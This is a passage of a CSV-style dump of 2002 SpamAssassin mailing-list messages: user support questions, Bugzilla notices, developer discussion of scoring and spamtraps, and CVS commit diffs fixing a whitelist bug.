Interestingly it is = detected when running spamassassin -t < sample-spam.txt (using the = same=20 userid incidentally). Is this a known ""feature"" of spamc under 2.4x or = is there=20 anything obvious that I am not implementing correctly? Note that as I = implied=20 above this used to work under 2.3x of spamassassin and = spamd/spamc   Regards   Ray Gardener Sheffield Hallam = University UK   ------=_NextPart_000_0056_01C25F11.18554780-- ------------------------------------------------------- This SF.NET email is sponsored by: AMD - Your access to the experts on Hammer Technology! Open Source & Linux Developers, register now for the AMD Developer Symposium. Code: EX8664 http://www.developwithamd.com/developerlab _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Vivek Khera ,"""spamassassin-talk"" ","Thu, 19 Sep 2002 10:04:01 -0400",Re: [SAtalk] Ignore System Messages - How?,">>>>> ""v"" == vernon writes: v> Some of my ""Security Violations"" and ""Unusual System Events"" are being v> tagged as SPAM by SpamAssassin. How do I get SA to ignore these messages? whitelists. you *really* have to white list any message source that discusses or is used to report spam, else the reports will be marked as spam, given that they have the spam indicators in them, usually... This is the *only* whitelisting I use. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Michael Moncur"" ","""Justin Mason"" ,","Thu, 19 Sep 2002 21:42:52 -0600",RE: [SAdev] phew!,"> Yes, I think some others, (mgm?) have spamtrap data in there too. > My corpus is about 50% spamtrap spam at any given time. Let me know if I should leave that out next time, I do keep it separate. My spamtraps are pretty clean of viruses and bounce messages most of the time. -- Michael Moncur mgm at starlingtech.com http://www.starlingtech.com/ ""Lack of money is no obstacle. Lack of an idea is an obstacle."" --Ken Hakuta",0,1 """Doug Young"" ","""Justin Mason"" ","Fri, 20 Sep 2002 13:29:39 +1000",Re: [SAtalk] dependencies / pre-requisites for installation in,"> > Would someone please enlighten me on dependencies / pre-requisites > > for installation in FreeBSD. The 'official' documentation isn't particularly > > explicit about this stuff .... eg 'procmail' is mentioned but without saying > > whether or not its essential, & no info provided on whether GNUmake is > > required or if standard BSD 'make' is OK. > > I thought we were quite good about it, in the README file! > > procmail is essential *if* you're using (a) SpamAssassin for local > delivery, (b) not using a milter, and (c) not using a Mail::Audit > script instead. So probably yes. > > BSD make is OK, if Perl generally uses it to build Perl modules. > SpamAssassin is just anotehr Perl module in that respect. > Back to this stuff again ..... searched high & low but definitely nothing on this system even vaguely resembling a README file for spamassassin. I have procmail installed but having major problems comprehending the setup .... would appreciate info on any 'simple english' HOWTo",0,0 yyyy@spamassassin.taint.org (Justin Mason),"""Michael Moncur"" ","Fri, 20 Sep 2002 13:03:29 +0100",Re: [SAdev] phew!,"""Michael Moncur"" said: > My corpus is about 50% spamtrap spam at any given time. Let me know if I > should leave that out next time, I do keep it separate. My spamtraps are > pretty clean of viruses and bounce messages most of the time. IMO spamtrap data that's well-cleaned and monitored is fine. To my mind there's 3 types of spamtraps: 1. old user addresses, recycled into spamtraps when the user closes the account 2. old user addresses, recycled into spamtraps several months after the user closes the account, scanned for newsletters, unsubscribed from them etc. 3. real spamtrap addresses to trap website crawlers. The latter 2 are the most effective, but #1 is a real PITA; it takes lots of maintainance to avoid ham getting in there. Some of my spamtrap data had a few 1's contributed by ISPs, and I hadn't spent enough time sifting for legit mail that was slipping through. So I felt better leaving them out for this run, apart from what I'd hand-cleaned. --j.",0,0 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Sat, 21 Sep 2002 16:35:35 -0700 (PDT)",[SAdev] [Bug 828] spamassassin.org is unreliable,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=828 jm@jmason.org changed: What |Removed |Added ---------------------------------------------------------------------------- Status|ASSIGNED |RESOLVED Resolution| |FIXED ------- Additional Comments From jm@jmason.org 2002-09-21 16:35 ------- OK, this should now be considered fixed, I should think. Domain Name: SPAMASSASSIN.ORG Name Server: NS.PEREGRINEHW.COM Name Server: NS1.RTS.COM.AU Name Server: NS2.RTS.COM.AU Name Server: NS3.RTS.COM.AU Name Server: FAMILY.ZAWODNY.COM etc. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Sat, 21 Sep 2002 16:36:50 -0700 (PDT)",[SAdev] [Bug 1008] SpamAssassin does not work with Glance for,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1008 jm@jmason.org changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution| |INVALID ------- Additional Comments From jm@jmason.org 2002-09-21 16:36 ------- Hi David -- I'm afraid this bug-tracking system is only used for the open-source SpamAssassin (the UNIX one ;). You need to talk to somebody at deersoft.com instead. ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Sat, 21 Sep 2002 16:37:55 -0700 (PDT)",[SAdev] [Bug 886] Add a rule to detect Content-type message/partial,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=886 ------- Additional Comments From jm@jmason.org 2002-09-21 16:37 ------- I'd prefer to wait and see if spammers do anything about it. my guess is they will not, as it'd mean modifying their spamware to send >1 msg per recipient. I vote WONTFIX as a result ;) ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Sat, 21 Sep 2002 16:39:35 -0700 (PDT)",[SAdev] [Bug 813] add Bayesian spam filtering,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=813 ------- Additional Comments From jm@jmason.org 2002-09-21 16:39 ------- Dan, BTW, is there any code from this that we can get checked in? I'd love to mess around with it a bit. ------- You are receiving this mail because: ------- You are on the CC list for the bug, or are watching someone who is. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 bugzilla-daemon@hughes-family.org,spamassassin-devel@example.sourceforge.net,"Sat, 21 Sep 2002 16:41:49 -0700 (PDT)",[SAdev] [Bug 1012] negate directive addition,"http://www.hughes-family.org/bugzilla/show_bug.cgi?id=1012 ------- Additional Comments From easmith@beatrice.rutgers.edu 2002-09-21 16:41 ------- I like this idea, but from my reading - part of my dissertation research - on GAs (or, in this case, more precisely ""Evolutionary Programming"", since the parameters are non-binary and the major operator is mutation, not crossover), you do need to keep in mind that the more interactions there are between different variables, the better-tweaked the GA/EA will need to be, especially to avoid local optima (which may have been the problem with the suspiciously-high ""anti-ratware"" USER_AGENT scores). From past results, what's needed are one or more of the below: A. Determine mutational parameters by adapted-scores themselves, with variation on a per-original score basis; ideally, allow for having ""correlated"" mutations - in other words, have a mechanism in place for trying out changes to a bunch of scores at once, with them all moving about the same amount (albeit possibly in different directions) - one means to do this is found in the ""Evolutionary Strategies"" of Schwefel; B. Adapt the probability of a mutation taking place depending on how well previous mutation tries have done - if more than about a fifth of the new ""individuals"" are doing about as well as, or better than, the parental generation, then mutate more parameters; if less than a fifth of them are doing about as well as, or better than, the parental generation, then mutate less parameters. -Allen ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Mike Bostock"" ","Mon, 23 Sep 2002 12:48:34 +0100",Re: [SAtalk] Spam host?,"""Mike Bostock"" said: > Received: from tracking2 (tracking2.roving.com [10.20.40.142]) > by ccm01.roving.com (Postfix) with ESMTP id 4696633ED4 > for ; Sun, 22 Sep 2002 17:57:03 -0400 (EDT) > X-Mailer: Roving Constant Contact > 5.0.Patch121c.P121C_SchedEnhancement_09_05_02 > (http://www.constantcontact.com) > > Is worthy of attention and a rule - if you go to their web site it > would appear that they are in the business of email mass marketing. > Unfortunately their mailing to me got through Spamassassin :-( Interesting -- I haven't seen anything from these guys in about a year, but looking at your hdr they're still doing it. OK, come up with an X-Mailer rule that hits your mails, and we'll put it in testing... --j. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Jason Qualkenbush ,"""'Stephane Lentz'"" ,","Mon, 23 Sep 2002 15:33:48 -0700",RE: [SAtalk] separate inbound and outbound,"No I was just a little confused because I'm running procmail on a gateway and sits between the external sendmail box and internal exchange bridgehead server. So there isn't any delivery to the local system. The only email it gets is inbound at the moment and we're looking to get rid of complication and go back to two boxes. I did a test which looked like you guys are right about procmail, but testing is very limited due to the config I currently have. It's just confusing when set up as a gateway. -Jason -----Original Message----- From: Stephane Lentz [mailto:Stephane.Lentz@ansf.alcatel.fr] Sent: Monday, September 23, 2002 2:50 PM To: spamassassin-talk@example.sourceforge.net Subject: Re: [SAtalk] separate inbound and outbound On Mon, Sep 23, 2002 at 02:26:34PM -0700, Jason Qualkenbush wrote: > > Is there is way to separate inbound and outbound email so that I only check > for spam on inbound mail and ignore the outbound? > > I'm using Sendmail and running procmail on the gateway to call spamassassin. > I know it more of a sendmail question, but my google searches have only > turned up people trying to log all inbound and outbound email. > Using procmail, SpamAssassin doesn't get called for outgoing email (messages sent to other machines). Procmail=Local Delivery Agent => inbound traffic to LOCAL machine. SL/ --- Stephane Lentz / Alcanet International - Internet Services ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Steve Thomas"" ","""Cheryl L. Southard"" ,","Tue, 24 Sep 2002 15:25:54 -0700",RE: [SAtalk] user_prefs ignored,"This is just an semi-educated guess - if I'm wrong, someone please correct me! Spamd setuid's to the user running spamc. Since you're calling spamc from a global procmailrc file, it's being run as root (most likely). If called as root, spamd won't open user_prefs files. >>From the spamc man page: -u username This argument has been semi-obsoleted. To have spamd use per-user-config files, run spamc as the user whose config files spamd should load. If you're running spamc as some other user though (eg. root, mail, nobody, cyrus, etc.) then you can still use this flag. The solution is to set DROPPRIVS=yes in /etc/procmailrc, just before running spamc. From the procmailrc man page: DROPPRIVS If set to `yes' procmail will drop all privileges it might have had (suid or sgid). This is only useful if you want to guarantee that the bottom half of the /etc/procmailrc file is executed on behalf of the recipient. I hope that helps, and I also hope it's right! St- | -----Original Message----- | From: spamassassin-talk-admin@example.sourceforge.net | [mailto:spamassassin-talk-admin@lists.sourceforge.net]On Behalf Of | Cheryl L. Southard | Sent: Tuesday, September 24, 2002 2:28 PM | To: spamassassin-talk@example.sourceforge.net | Subject: [SAtalk] user_prefs ignored | | | Hi All, | | I am running SpamAssassin 2.41 with procmail as my local delivery agent | with sendmail. I use spamc/spamd so that it runs site-wide from | /etc/procmailrc. | | spamd is run as root with the flags ""-d -a -c"", and spamc isn't run with | any flags. | | When I was testing the program, I deployed spamc from my personal | ~/.procmailrc file, my ~/.spamassassin/user_prefs file was read each time. | I can see this because I have a non-default ""required_hits"" value which | gets reported in every e-mail on the ""X-Spam-Status"" line. | | Now that I run spamc from the global /etc/procmailrc file, my | ~/.spamassassin/user_prefs file is no longer being read or processed from | e-mails from outside computers. The ""required_hits"" value gets set back | to the one in /etc/mail/spamassassin/local.cf. However, if I send local | e-mail, my user_prefs file is read and processed correctly. | | Does anyone know how to fix this problem? if this is a spamassassin or | procmail bug? | | Thanks, | | Cheryl | | -- | Cheryl Southard | cld@astro.caltech.edu | | | ------------------------------------------------------- | This sf.net email is sponsored by:ThinkGeek | Welcome to geek heaven. | http://thinkgeek.com/sf | _______________________________________________ | Spamassassin-talk mailing list | Spamassassin-talk@lists.sourceforge.net | https://lists.sourceforge.net/lists/listinfo/spamassassin-talk | ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Daniel Quinlan ,yyyy@spamassassin.taint.org (Justin Mason),25 Sep 2002 13:54:17 -0700,Re: [SAdev] Have mass-check remove X-Spam-* headers?,"jm@jmason.org (Justin Mason) writes: > except for 1 thing: defanged MIME messages. that's a big problem. > but if you didn't just *remove* the headers and instead reverted > back to the X-Spam-Prev versions, it'd more-or-less work. > > (BTW fixed the downloads page ;) &check now un-defangs MIME -- it was screwing up some of my mass-check results (where SA-markup was present, yes). If there ever was a warning about SA-markup in mass-check, it never worked for me. Dan",0,0 Doug Crompton ,SpamAssassin-Talk list ,"Thu, 26 Sep 2002 01:05:28 -0400 (EDT)",[SAtalk] Razor problem,"I just picked up Razor SDK 2.03 and 2.14 agents from the the razor site. I am using SuSe 7.3 - intalled SDK with no problems. All tests passed. When I try to make the 2.14 agents I get all kinds of errors. In particuliar it says the net::dns is missing. But it seems to be there. The SDK test passes it. Any help would be appreciated. Doug ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Allen Smith"" ",Daniel Quinlan ,"Thu, 26 Sep 2002 09:05:08 -0400",Re: GA Development (was Re: [SAdev] [Bug 1030] NO_INVENTORY,"On Sep 25, 7:35pm, Daniel Quinlan wrote: > Allen Smith writes: > > > Well, I have been doing a bit of fiddling with the GA. I don't have > > a _large_ corpus practically available to me (or processable within > > reasonable processor time - I can justify the GA fiddling part as > > being part of my research, but not the mail processing...), so in > > order to test out my changes someone needs to send me a copy of the > > ""tmp/scores.h"" and ""tmp/tests.h"" that get generated prior to the GA > > going into action. > > Why not start with mass-check corpus results? It's much easier to get > those Ah. As in getting a directory listing of the corpus server and doing some downloads? OK, done. > and you can create your own tmp/scores.h and tmp/tests.h. Good point. Will report back on my results. -Allen -- Allen Smith http://cesario.rutgers.edu/easmith/ September 11, 2001 A Day That Shall Live In Infamy II ""They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety."" - Benjamin Franklin",0,1 MAILER-DAEMON@prodigy.net,,"Thu, 26 Sep 2002 13:16:12 -0400","Returned mail: [SACVS] CVS: spamassassin/masses craig-evolve.c.ALTIVEC,NONE,1.1",Unable to find user: Please make sure the address is correct and resend your mail.,0,0 yyyy@spamassassin.taint.org (Justin Mason),SpamTalk ,"Tue, 01 Oct 2002 10:51:56 +0100",Re: [SAtalk] URL blacklist,"SpamTalk said: > Probably better than the ""spam phrases"" approach would be the database > approach as currently used for white/black listing. > Any way to tie that to an XML retrieval from a list of central repositories? > Does mySQL do replication? A properly done XML would let us eyeball the list > as well as use it to keep the database up to date. > Another idea: could we synthesize an RBL so that > http://www.spammer.com/spam/web/bug/ becomes spam.web.bug.x.www.spammer.com > for a reverse lookup? It is going to get tricky, how to specify a randomized > intermediate directory? A good plan, needs an implementation though: http://bl.reynolds.net.au/ksi/email/ hmm. seems down to me. Basically it's a plan to store hash sums of URLs/phone numbers found in spam in a DNSBL, for apps like SpamAssassin to look up. A little like spamcop's ""spamvertized URL"" list... --j. ------------------------------------------------------- This sf.net email is sponsored by: DEDICATED SERVERS only $89! Linux or FreeBSD, FREE setup, FAST network. Get your own server today at http://www.ServePath.com/indexfm.htm _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Theo Van Dinter ,Justin Mason ,"Sun, 22 Sep 2002 12:38:20 -0400",Re: [SAtalk] telesp.net.br?,"--qcHopEYAB45HaUaB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Sep 22, 2002 at 02:33:48PM +0100, Justin Mason wrote: > I seem to be getting a *lot* of spam relayed via these guys recently. > Can others confirm this? >=20 > if it's the case, I'll come up with a forged-hostname test for it. I do get some from them, typically some dsl.telesp.net.br host: % grep -c telesp.net.br *| sort -rn spammers-2002-09:59 spammers-2002-08:64 spammers-2002-07:23 spammers-2002-06:13 spammers-2002-05:4 spammers-2002-04:2 Definitely increasing per month. Percentage-wise: 2002-09 has 1212 spams in it, so 59/1212 is about 4.8%. Last month was 3.6%. --=20 Randomly Generated Tagline: I don't believe I've ever cuddled my elses. -- Larry Wall in <199806221550.IAA07171@wall.org> --qcHopEYAB45HaUaB Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9jfH7AuOQUeWAs2MRAkcuAKDZpe2Imevx9OkqkCh1rKh2IXvv6ACfZ/kn aBRBTJx/PNPOZg5GNPk5b/s= =mUje -----END PGP SIGNATURE----- --qcHopEYAB45HaUaB--",0,1 Daniel Quinlan ,yyyy@spamassassin.taint.org (Justin Mason),19 Sep 2002 14:31:00 -0700,Re: [SAdev] phew!,"jm@jmason.org (Justin Mason) writes: > Yes -- 50% of the entire set for training and 50% for evaluation. Once you've settled on the final method for any one release, why not use 100% of the data for a final run? Dan",0,0 Daniel Quinlan ,Theo Van Dinter ,01 Oct 2002 19:22:16 -0700,Re: [SAdev] Re: [Razor-users] Mutating spam,"Justin Mason wrote: >> Interestingly, some of these seem (apparently) to be encrypted versions of >> the recipient email address. To see this, ROT13 yr address and grep your >> spam archive. There'll be at least 1 hit. Theo Van Dinter writes: > Hmmm. I'm surprised at these results, especially since I should be > seeing some false positives... Not a lot of matches though. :( Still worthwhile -- 1.257% is not that bad. :-) My results: OVERALL% SPAM% NONSPAM% S/O RANK SCORE NAME 11774 4079 7695 0.35 0.00 0.00 (all messages) 100.000 34.644 65.356 0.35 0.00 0.00 (all messages as %) 0.195 0.564 0.000 1.00 0.75 1.00 T_ROT13_EMAIL_3 0.161 0.466 0.000 1.00 0.73 1.00 T_ROT13_EMAIL_2 0.161 0.466 0.000 1.00 0.73 1.00 T_ROT13_EMAIL The interesting thing is that these hits all seem to be rot13 versions of the To: address. If we ever start getting FPs (or if anyone is worried), we could make it an eval test for rot13 of the To: address (turning non-word characters into ""."" characters in the regular expression). At the same time, it might be worth testing for username in HTML comments. I found some types in HTML comments, but I haven't seen enough hits so far to bother (however, I did add a really good test for email addresses in comments). Dan",0,0 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 02 Oct 2002 06:19:30 -0700","[SACVS] CVS: spamassassin/lib/Mail SpamAssassin.pm,1.115.2.11,1.115.2.12","Update of /cvsroot/spamassassin/spamassassin/lib/Mail In directory usw-pr-cvs1:/tmp/cvs-serv4019/lib/Mail Modified Files: Tag: b2_4_0 SpamAssassin.pm Log Message: fixed bug 1033: -R and -W were not respecting auto_whitelist_path Index: SpamAssassin.pm =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/lib/Mail/SpamAssassin.pm,v retrieving revision 1.115.2.11 retrieving revision 1.115.2.12 diff -b -w -u -d -r1.115.2.11 -r1.115.2.12 --- SpamAssassin.pm 24 Sep 2002 18:51:37 -0000 1.115.2.11 +++ SpamAssassin.pm 2 Oct 2002 13:19:28 -0000 1.115.2.12 @@ -696,7 +696,13 @@ } ########################################################################### -# non-public methods. + +=item $f->init ($use_user_prefs) + +Read and parse the current configuration. C<$use_user_prefs> can +be C<0> (do not read user preferences) or C<1> (do). + +=cut sub init { my ($self, $use_user_pref) = @_; @@ -767,6 +773,9 @@ # TODO -- open DNS cache etc. if necessary } + +########################################################################### +# non-public methods. sub read_cf { my ($self, $path, $desc) = @_; ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 02 Oct 2002 06:19:30 -0700","[SACVS] CVS: spamassassin spamassassin.raw,1.68.2.12,1.68.2.13","Update of /cvsroot/spamassassin/spamassassin In directory usw-pr-cvs1:/tmp/cvs-serv4019 Modified Files: Tag: b2_4_0 spamassassin.raw Log Message: fixed bug 1033: -R and -W were not respecting auto_whitelist_path Index: spamassassin.raw =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/spamassassin.raw,v retrieving revision 1.68.2.12 retrieving revision 1.68.2.13 diff -b -w -u -d -r1.68.2.12 -r1.68.2.13 --- spamassassin.raw 24 Sep 2002 18:51:37 -0000 1.68.2.12 +++ spamassassin.raw 2 Oct 2002 13:19:28 -0000 1.68.2.13 @@ -216,6 +216,9 @@ if ($@) { warn $@; } if ($doing_whitelist_operation) { + # read the config! + $spamtest->init (1); + if ($opt{'add-to-whitelist'}) { $spamtest->add_all_addresses_to_whitelist ($mail); } elsif ($opt{'remove-from-whitelist'}) { ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 02 Oct 2002 06:19:31 -0700","[SACVS] CVS: spamassassin/t db_based_whitelist.t,1.6.4.1,1.6.4.2","Update of /cvsroot/spamassassin/spamassassin/t In directory usw-pr-cvs1:/tmp/cvs-serv4019/t Modified Files: Tag: b2_4_0 db_based_whitelist.t db_based_whitelist_ips.t Log Message: fixed bug 1033: -R and -W were not respecting auto_whitelist_path Index: db_based_whitelist.t =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/t/db_based_whitelist.t,v retrieving revision 1.6.4.1 retrieving revision 1.6.4.2 diff -b -w -u -d -r1.6.4.1 -r1.6.4.2 --- db_based_whitelist.t 24 Sep 2002 18:51:38 -0000 1.6.4.1 +++ db_based_whitelist.t 2 Oct 2002 13:19:28 -0000 1.6.4.2 @@ -2,7 +2,7 @@ use lib '.'; use lib 't'; use SATest; sa_t_init(""db_based_whitelist""); -use Test; BEGIN { plan tests => 3 }; +use Test; BEGIN { plan tests => 8 }; # --------------------------------------------------------------------------- @@ -16,17 +16,17 @@ %patterns = %is_nonspam_patterns; $scr_test_args = ""-M Mail::SpamAssassin::DBBasedAddrList""; -sarun (""--remove-addr-from-whitelist whitelist_test\@whitelist.spamassassin.taint.org"", \&patterns_run_cb); +ok (sarun (""--remove-addr-from-whitelist whitelist_test\@whitelist.spamassassin.taint.org"", \&patterns_run_cb)); # 3 times, to get into the whitelist: -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); # Now check ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); ok_all_patterns(); %patterns = %is_spam_patterns; -sarun (""-L -a -t < data/spam/004"", \&patterns_run_cb); +ok (sarun (""-L -a -t < data/spam/004"", \&patterns_run_cb)); ok_all_patterns(); Index: db_based_whitelist_ips.t =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/t/db_based_whitelist_ips.t,v retrieving revision 1.1.2.1 retrieving revision 1.1.2.2 diff -b -w -u -d -r1.1.2.1 -r1.1.2.2 --- db_based_whitelist_ips.t 24 Sep 2002 18:51:38 -0000 1.1.2.1 +++ db_based_whitelist_ips.t 2 Oct 2002 13:19:29 -0000 1.1.2.2 @@ -2,7 +2,7 @@ use lib '.'; use lib 't'; use SATest; sa_t_init(""db_based_whitelist_ips""); -use Test; BEGIN { plan tests => 3 }; +use Test; BEGIN { plan tests => 8 }; # --------------------------------------------------------------------------- @@ -15,18 +15,18 @@ %patterns = %is_nonspam_patterns; -sarun (""--remove-addr-from-whitelist whitelist_test\@whitelist.spamassassin.taint.org"", \&patterns_run_cb); +ok (sarun (""--remove-addr-from-whitelist whitelist_test\@whitelist.spamassassin.taint.org"", \&patterns_run_cb)); # 3 times, to get into the whitelist: -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); -sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); +ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); # Now check ok (sarun (""-L -a -t < data/nice/002"", \&patterns_run_cb)); ok_all_patterns(); %patterns = %is_spam_patterns; -sarun (""-L -a -t < data/spam/007"", \&patterns_run_cb); +ok (sarun (""-L -a -t < data/spam/007"", \&patterns_run_cb)); ok_all_patterns(); ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 02 Oct 2002 06:20:34 -0700","[SACVS] CVS: spamassassin spamassassin.raw,1.76,1.77","Update of /cvsroot/spamassassin/spamassassin In directory usw-pr-cvs1:/tmp/cvs-serv4429 Modified Files: spamassassin.raw Log Message: fixed bug 1033: -R and -W were not respecting auto_whitelist_path Index: spamassassin.raw =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/spamassassin.raw,v retrieving revision 1.76 retrieving revision 1.77 diff -b -w -u -d -r1.76 -r1.77 --- spamassassin.raw 26 Sep 2002 17:14:59 -0000 1.76 +++ spamassassin.raw 2 Oct 2002 13:20:32 -0000 1.77 @@ -218,6 +218,9 @@ if ($@) { warn $@; } if ($doing_whitelist_operation) { + # read the config! + $spamtest->init (1); + if ($opt{'add-to-whitelist'}) { $spamtest->add_all_addresses_to_whitelist ($mail); } elsif ($opt{'remove-from-whitelist'}) { ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 02 Oct 2002 06:20:35 -0700","[SACVS] CVS: spamassassin/rules 50_scores.cf,1.226,1.227","Update of /cvsroot/spamassassin/spamassassin/rules In directory usw-pr-cvs1:/tmp/cvs-serv4429/rules Modified Files: 50_scores.cf 60_whitelist.cf Log Message: fixed bug 1033: -R and -W were not respecting auto_whitelist_path Index: 50_scores.cf =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/rules/50_scores.cf,v retrieving revision 1.226 retrieving revision 1.227 diff -b -w -u -d -r1.226 -r1.227 --- 50_scores.cf 1 Oct 2002 09:53:43 -0000 1.226 +++ 50_scores.cf 2 Oct 2002 13:20:32 -0000 1.227 @@ -611,7 +611,7 @@ score PORN_GALLERIES 1.000 score RATWARE_LC_OUTLOOK 1.000 score SHORT_RECEIVED_LINE 4.300 -score SAFEGUARD_NOTICE -3.300 +score SAFEGUARD_NOTICE 3.300 score MAILMAN_CONFIRM -1.000 score SIGNIFICANT 1.000 score RATWARE_DIFFOND 2.200 Index: 60_whitelist.cf =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/rules/60_whitelist.cf,v retrieving revision 1.31 retrieving revision 1.32 diff -b -w -u -d -r1.31 -r1.32 --- 60_whitelist.cf 11 Sep 2002 21:31:35 -0000 1.31 +++ 60_whitelist.cf 2 Oct 2002 13:20:33 -0000 1.32 @@ -65,3 +65,4 @@ # Friends re-united (popular UK old-school-network) whitelist_from_rcvd *@friendsreunited.co.uk friendsreunited.co.uk + ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Wed, 02 Oct 